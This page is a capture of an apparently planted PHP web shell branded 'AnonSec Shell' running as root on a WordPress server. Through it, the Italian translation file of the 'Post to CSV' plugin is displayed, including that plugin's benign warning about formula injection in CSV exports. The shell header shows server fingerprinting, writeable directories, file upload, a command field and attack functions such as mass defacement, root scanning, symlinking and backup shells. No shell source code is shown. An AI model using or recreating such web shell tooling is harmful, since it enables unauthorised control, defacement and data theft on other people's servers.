AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.224.70.204   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/post-to-csv/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/post-to-csv/languages/post-to-csv-it.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"POT-Creation-Date: 2024-08-19 16:05+0300\n"
"PO-Revision-Date: 2024-08-19 16:05+0300\n"
"Last-Translator: \n"
"Language-Team: \n"
"Language: it\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 3.4.3\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-KeywordsList: __;_e;esc_html_e;esc_html__\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: bws_menu\n"

#: includes/class-psttcsv-settings.php:53 post-to-csv.php:38
#: post-to-csv.php:544 post-to-csv.php:564
msgid "Settings"
msgstr "Impostazioni"

#: includes/class-psttcsv-settings.php:54
msgid "Comments"
msgstr "Commenti"

#: includes/class-psttcsv-settings.php:56
msgid "WooCommerce"
msgstr "WooCommerce"

#: includes/class-psttcsv-settings.php:59
msgid "Misc"
msgstr "Varie"

#: includes/class-psttcsv-settings.php:60
msgid "Custom Code"
msgstr "Codice personalizzato"

#: includes/class-psttcsv-settings.php:61
msgid "License Key"
msgstr "Chiave di licenza"

#: includes/class-psttcsv-settings.php:91
msgid "Post"
msgstr "Articolo"

#: includes/class-psttcsv-settings.php:92
msgid "Page"
msgstr "Pagina"

#: includes/class-psttcsv-settings.php:93
msgid "Attachment"
msgstr "Allegato"

#: includes/class-psttcsv-settings.php:99
#: includes/class-psttcsv-settings.php:361
msgid "Title"
msgstr "Titolo"

#: includes/class-psttcsv-settings.php:100
msgid "Guid"
msgstr "Guida"

#: includes/class-psttcsv-settings.php:101
msgid "Post date"
msgstr "Data pubblicazione"

#: includes/class-psttcsv-settings.php:102
#: includes/class-psttcsv-settings.php:112
#: includes/class-psttcsv-settings.php:363
#: includes/class-psttcsv-settings.php:439
msgid "Author"
msgstr "Autore"

#: includes/class-psttcsv-settings.php:103
msgid "Content"
msgstr "Contenuto"

#: includes/class-psttcsv-settings.php:104
msgid "Taxonomy"
msgstr "Tassonomia"

#: includes/class-psttcsv-settings.php:105
msgid "Term"
msgstr "Termine"

#: includes/class-psttcsv-settings.php:110
msgid "Post ID"
msgstr "ID Articolo"

#: includes/class-psttcsv-settings.php:111
msgid "Post Permalink"
msgstr "Invia Permalink"

#: includes/class-psttcsv-settings.php:113
msgid "Author's Email"
msgstr "Email dell'autore"

#: includes/class-psttcsv-settings.php:114
msgid "Comment Content"
msgstr "Contenuto del commento"

#: includes/class-psttcsv-settings.php:115
msgid "Comment Date"
msgstr "Data del commento"

#: includes/class-psttcsv-settings.php:119
#: includes/class-psttcsv-settings.php:487
msgid "Publish"
msgstr "Pubblica"

#: includes/class-psttcsv-settings.php:120
#: includes/class-psttcsv-settings.php:488
msgid "Draft"
msgstr "Bozza"

#: includes/class-psttcsv-settings.php:121
msgid "Inherit"
msgstr "Eredita"

#: includes/class-psttcsv-settings.php:122
#: includes/class-psttcsv-settings.php:486
msgid "Private"
msgstr "Privato"

#: includes/class-psttcsv-settings.php:145
msgid "Sorry, your nonce did not verify."
msgstr "Ci dispiace, autorizzazione non verificata."

#: includes/class-psttcsv-settings.php:151
msgid "Please choose at least one Post Type."
msgstr "Scegliere almeno un tipo di post."

#: includes/class-psttcsv-settings.php:157
msgid "Please choose at least one Field."
msgstr "Scegliere almeno un campo."

#: includes/class-psttcsv-settings.php:169
msgid "Please choose at least one Post status."
msgstr "Scegliere almeno uno stato della posta."

#: includes/class-psttcsv-settings.php:182
msgid "Please choose at least one Comment field."
msgstr "Scegliere almeno un campo per i commenti."

#: includes/class-psttcsv-settings.php:198
msgid "Settings saved."
msgstr "Impostazioni salvate."

#: includes/class-psttcsv-settings.php:208 post-to-csv.php:37
#: post-to-csv.php:206
msgid "Post to CSV Settings"
msgstr "Impostazioni di invio a CSV"

#: includes/class-psttcsv-settings.php:213
msgid "Export"
msgstr "Esporta"

#: includes/class-psttcsv-settings.php:215
#: includes/class-psttcsv-settings.php:221
msgid "Post Types"
msgstr "Tipi di post"

#: includes/class-psttcsv-settings.php:216
#: includes/class-psttcsv-settings.php:241
msgid "Taxonomies"
msgstr "Tassonomie"

#: includes/class-psttcsv-settings.php:223
#: includes/class-psttcsv-settings.php:254
#: includes/class-psttcsv-settings.php:278
#: includes/class-psttcsv-settings.php:312
#: includes/class-psttcsv-settings.php:351
#: includes/class-psttcsv-settings.php:427
#: includes/class-psttcsv-settings.php:522
#: includes/class-psttcsv-settings.php:535
#: includes/class-psttcsv-settings.php:547
msgid "All"
msgstr "Tutti"

#: includes/class-psttcsv-settings.php:276
msgid "Fields"
msgstr "Campi"

#: includes/class-psttcsv-settings.php:287
msgid "Custom Fields"
msgstr "Campi personalizzati"

#: includes/class-psttcsv-settings.php:296
msgid "Show hidden fields"
msgstr "Mostra i campi nascosti"

#: includes/class-psttcsv-settings.php:307
msgid "No service meta keys"
msgstr "Nessuna meta-chiave di servizio"

#: includes/class-psttcsv-settings.php:349
msgid "Post Status"
msgstr "Stato del post"

#: includes/class-psttcsv-settings.php:359
#: includes/class-psttcsv-settings.php:435
#: includes/class-psttcsv-settings.php:555
msgid "Sort by"
msgstr "Ordina per"

#: includes/class-psttcsv-settings.php:362
#: includes/class-psttcsv-settings.php:438
#: includes/class-psttcsv-settings.php:560
msgid "Date"
msgstr "Data"

#: includes/class-psttcsv-settings.php:368
#: includes/class-psttcsv-settings.php:444
#: includes/class-psttcsv-settings.php:566
msgid "Arrange by"
msgstr "Organizzare per"

#: includes/class-psttcsv-settings.php:370
#: includes/class-psttcsv-settings.php:446
#: includes/class-psttcsv-settings.php:568
msgid "ASC"
msgstr "ASC"

#: includes/class-psttcsv-settings.php:371
#: includes/class-psttcsv-settings.php:447
#: includes/class-psttcsv-settings.php:569
msgid "DESC"
msgstr "DISC"

#: includes/class-psttcsv-settings.php:376
msgid "Remove HTML Tags"
msgstr "Rimuovere i tag HTML"

#: includes/class-psttcsv-settings.php:380
msgid "Enable to remove HTML tags from the post content."
msgstr "Abilita la rimozione dei tag HTML dal contenuto del post."

#: includes/class-psttcsv-settings.php:385
#: includes/class-psttcsv-settings.php:452
#: includes/class-psttcsv-settings.php:574
msgid "Export to CSV"
msgstr "Esporta in CSV"

#: includes/class-psttcsv-settings.php:388
#: includes/class-psttcsv-settings.php:455
msgid "Warning. Read before export"
msgstr "Attenzione. Leggere prima di esportare"

#: includes/class-psttcsv-settings.php:391
msgid ""
"This CSV file may contain content that could auto-execute formulas in "
"certain spreadsheet applications. This can be problematic as auto-executing "
"formulas can potentially be used for malicious activity, including malware "
"and other security threats."
msgstr ""
"Questo file CSV potrebbe contenere contenuti in grado di eseguire "
"automaticamente le formule in alcune applicazioni di foglio di calcolo. Ciò "
"può essere problematico in quanto le formule ad esecuzione automatica "
"possono essere utilizzate per attività dannose, tra cui malware e altre "
"minacce alla sicurezza."

#: includes/class-psttcsv-settings.php:392
#: includes/class-psttcsv-settings.php:459
msgid "Here are some elements that could be causing these issues:"
msgstr ""
"Ecco alcuni elementi che potrebbero essere la causa di questi problemi:"

#: includes/class-psttcsv-settings.php:394
#: includes/class-psttcsv-settings.php:461
msgid "Formulas"
msgstr "Formule"

#: includes/class-psttcsv-settings.php:394
msgid ""
"The most direct issue. CSV files can include formulas that will "
"automatically execute when the file is opened in a spreadsheet application. "
"This can be particularly hazardous if the formula includes functions that "
"can interact with the user's system, such as creating new files, executing "
"commands on the user's computer, or even sending data to a remote server."
msgstr ""
"Il problema più diretto. I file CSV possono includere formule che vengono "
"eseguite automaticamente quando il file viene aperto in un'applicazione di "
"foglio elettronico. Questo può essere particolarmente pericoloso se la "
"formula include funzioni che possono interagire con il sistema dell'utente, "
"come la creazione di nuovi file, l'esecuzione di comandi sul computer "
"dell'utente o persino l'invio di dati a un server remoto."

#: includes/class-psttcsv-settings.php:395
#: includes/class-psttcsv-settings.php:462
msgid "Hyperlinks"
msgstr "Ipertestuali"

#: includes/class-psttcsv-settings.php:395
msgid ""
"Hyperlinks may also automatically open upon CSV file launch. If a URL leads "
"to a malicious site, this can pose problems."
msgstr ""
"I collegamenti ipertestuali possono anche aprirsi automaticamente all'avvio "
"del file CSV. Se un URL conduce a un sito dannoso, questo può creare "
"problemi."

#: includes/class-psttcsv-settings.php:396
#: includes/class-psttcsv-settings.php:463
msgid "Embedded or OLE Objects"
msgstr "Oggetti incorporati o OLE"

#: includes/class-psttcsv-settings.php:396
#: includes/class-psttcsv-settings.php:463
msgid ""
"Some programs allow the embedding of objects (such as images or other files) "
"within a spreadsheet. If these objects contain malware, they can be "
"activated upon opening the file."
msgstr ""
"Alcuni programmi consentono di incorporare oggetti (come immagini o altri "
"file) all'interno di un foglio di calcolo. Se questi oggetti contengono "
"malware, possono essere attivati all'apertura del file."

#: includes/class-psttcsv-settings.php:397
#: includes/class-psttcsv-settings.php:464
msgid "Macros"
msgstr "Macro"

#: includes/class-psttcsv-settings.php:397
msgid ""
"While CSV files typically do not support macros, some spreadsheet "
"applications may automatically convert them into a format that supports "
"macros, which can also pose a security risk."
msgstr ""
"Sebbene i file CSV in genere non supportino le macro, alcune applicazioni "
"per fogli di calcolo possono convertirli automaticamente in un formato che "
"supporta le macro, il che può rappresentare un rischio per la sicurezza."

#: includes/class-psttcsv-settings.php:399
#: includes/class-psttcsv-settings.php:466
msgid ""
"Always exercise caution when opening files from untrusted sources, "
"especially those that can contain auto-executing scripts or other "
"potentially dangerous content. If possible, disable automatic execution of "
"formulas and other functions in your spreadsheet applications."
msgstr ""
"Prestare sempre attenzione quando si aprono file da fonti non attendibili, "
"in particolare quelli che possono contenere script ad esecuzione automatica "
"o altri contenuti potenzialmente pericolosi. Se possibile, disabilitate "
"l'esecuzione automatica di formule e altre funzioni nelle applicazioni di "
"foglio elettronico."

#: includes/class-psttcsv-settings.php:403
#: includes/class-psttcsv-settings.php:470
#: includes/class-psttcsv-settings.php:576
msgid "Export Now"
msgstr "Esporta ora"

#: includes/class-psttcsv-settings.php:405
#: includes/class-psttcsv-settings.php:472
msgid "Notice"
msgstr "Avviso"

#: includes/class-psttcsv-settings.php:405
#: includes/class-psttcsv-settings.php:472
msgid "The plugin's settings have been changed."
msgstr "Le impostazioni del plugin sono state modificate."

#: includes/class-psttcsv-settings.php:406
#: includes/class-psttcsv-settings.php:473
msgid "Save Changes"
msgstr "Salva le modifiche"

#: includes/class-psttcsv-settings.php:406
#: includes/class-psttcsv-settings.php:473
msgid "before export"
msgstr "prima dell'esportazione"

#: includes/class-psttcsv-settings.php:420
msgid "Comments Export Settings"
msgstr "Impostazioni di esportazione dei commenti"

#: includes/class-psttcsv-settings.php:425
msgid "Comment Fields"
msgstr "Campi di commento"

#: includes/class-psttcsv-settings.php:437
#: includes/class-psttcsv-settings.php:557
msgid "ID"
msgstr "ID"

#: includes/class-psttcsv-settings.php:458
msgid ""
"This CSV file may contain content that could auto-execute formulas in "
"certain spreadsheet applications. This can be problematic as auto-executing "
"formulas can potentially be used for malicious activity."
msgstr ""
"Questo file CSV potrebbe contenere contenuti in grado di eseguire "
"automaticamente le formule in alcune applicazioni di foglio di calcolo. Ciò "
"può essere problematico in quanto le formule ad esecuzione automatica "
"possono essere utilizzate per attività dannose."

#: includes/class-psttcsv-settings.php:461
msgid ""
"The most direct issue. CSV files can include formulas that will "
"automatically execute when the file is opened in a spreadsheet application."
msgstr ""
"Il problema più diretto. I file CSV possono includere formule che vengono "
"eseguite automaticamente quando il file viene aperto in un'applicazione di "
"foglio elettronico."

#: includes/class-psttcsv-settings.php:462
msgid "Hyperlinks may also automatically open upon CSV file launch."
msgstr ""
"I collegamenti ipertestuali possono anche aprirsi automaticamente all'avvio "
"del file CSV."

#: includes/class-psttcsv-settings.php:464
msgid ""
"While CSV files typically do not support macros, some spreadsheet "
"applications may automatically convert them into a format that supports "
"macros."
msgstr ""
"Sebbene i file CSV in genere non supportino le macro, alcune applicazioni di "
"fogli di calcolo possono convertirli automaticamente in un formato che "
"supporta le macro."

#: includes/class-psttcsv-settings.php:489
msgid "Future"
msgstr "Futuro"

#: includes/class-psttcsv-settings.php:490
msgid "Pending"
msgstr "In attesa"

#: includes/class-psttcsv-settings.php:494
msgid "Simple product"
msgstr "Prodotto Semplice"

#: includes/class-psttcsv-settings.php:495
msgid "Grouped product"
msgstr "Prodotto raggruppato"

#: includes/class-psttcsv-settings.php:496
msgid "External/Affiliate product"
msgstr "Prodotto Esterno/Affiliato"

#: includes/class-psttcsv-settings.php:497
msgid "Variable product"
msgstr "Prodotto Variabile"

#: includes/class-psttcsv-settings.php:498
msgid "Product variations"
msgstr "Varianti di prodotto"

#: includes/class-psttcsv-settings.php:501
msgid "WooCommerce Export Product Settings"
msgstr "Impostazioni di esportazione dei prodotti di WooCommerce"

#: includes/class-psttcsv-settings.php:506
msgid "Close"
msgstr "Chiudere"

#: includes/class-psttcsv-settings.php:510
msgid "WooCommerce Product Fields"
msgstr "Campi prodotto di WooCommerce"

#: includes/class-psttcsv-settings.php:513
msgid "Product Fields"
msgstr "Campi Prodotto"

#: includes/class-psttcsv-settings.php:520
msgid "Product Status"
msgstr "Stato del Prodotto"

#: includes/class-psttcsv-settings.php:533
msgid "Product Types"
msgstr "Tipi Prodotto"

#: includes/class-psttcsv-settings.php:545
msgid "Product Category"
msgstr "Categoria Prodotto"

#: includes/class-psttcsv-settings.php:549
msgid "Uncategorized"
msgstr "Senza categoria"

#: includes/class-psttcsv-settings.php:558
msgid "Name"
msgstr "Nome"

#: includes/class-psttcsv-settings.php:559
msgid "Type"
msgstr "Tipo"

#: includes/class-psttcsv-settings.php:561
msgid "Modified"
msgstr "Modificato"

#: includes/class-psttcsv-settings.php:596
msgid "No records meet the specified criteria."
msgstr "Nessun record soddisfa i criteri specificati."

#: includes/class-psttcsv-settings.php:600
msgid "An error occurred while writing data to the file."
msgstr "Si è verificato un errore durante la scrittura dei dati nel file."

#: includes/class-psttcsv-settings.php:604
msgid "An error occurred while creating the file to record data."
msgstr ""
"Si è verificato un errore durante la creazione del file per la registrazione "
"dei dati."

#: post-to-csv.php:38
msgid "Post to CSV"
msgstr "Invia a CSV"

#: post-to-csv.php:44
msgid "Update to Pro"
msgstr "Aggiorna a Pro"

#: post-to-csv.php:209
msgid "WARNING:"
msgstr "ATTENZIONE:"

#: post-to-csv.php:210
msgid "The plugin works correctly only if JavaScript is enabled."
msgstr "Il plugin funziona correttamente solo se JavaScript è abilitato."

#: post-to-csv.php:566
msgid "FAQ"
msgstr "FAQ"

#: post-to-csv.php:567
msgid "Support"
msgstr "Supporto"

Anon7 - 2022
AnonSec Team